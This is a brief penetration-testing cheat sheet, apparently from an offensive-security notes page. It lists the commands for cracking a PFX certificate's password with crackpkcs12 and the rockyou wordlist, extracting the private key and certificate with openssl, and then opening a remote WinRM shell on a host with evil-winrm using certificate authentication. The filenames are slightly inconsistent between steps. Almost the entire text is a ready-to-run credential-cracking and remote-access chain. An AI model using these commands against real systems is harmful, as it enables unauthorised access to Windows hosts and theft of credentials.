User Certificate to WinRM
#crack pfx file to get password
crackpkcs12 -d ../rockyou.txt somePFX.pfx
#extract priv key
https://tecadmin.net/extract-private-key-and-certificate-files-from-pfx-file/
openssl pkcs12 -in usercert.pfx -nocerts -out privkey.pem -nodes
#extract public cert
openssl pkcs12 -in usercert.pfx -nokeys -out cert.pem
#Copy the ----Begin to End----
Copy between --Begin ####to#### End-- contents to certificate.pen to cert.cert
Copy the --Begin ####to#### End-- contents to privkey.pem to privkey.key
#Winrm
evil-winrm -S -k privkey.key -c certificate.cert -i 10.0.0.1
Last updated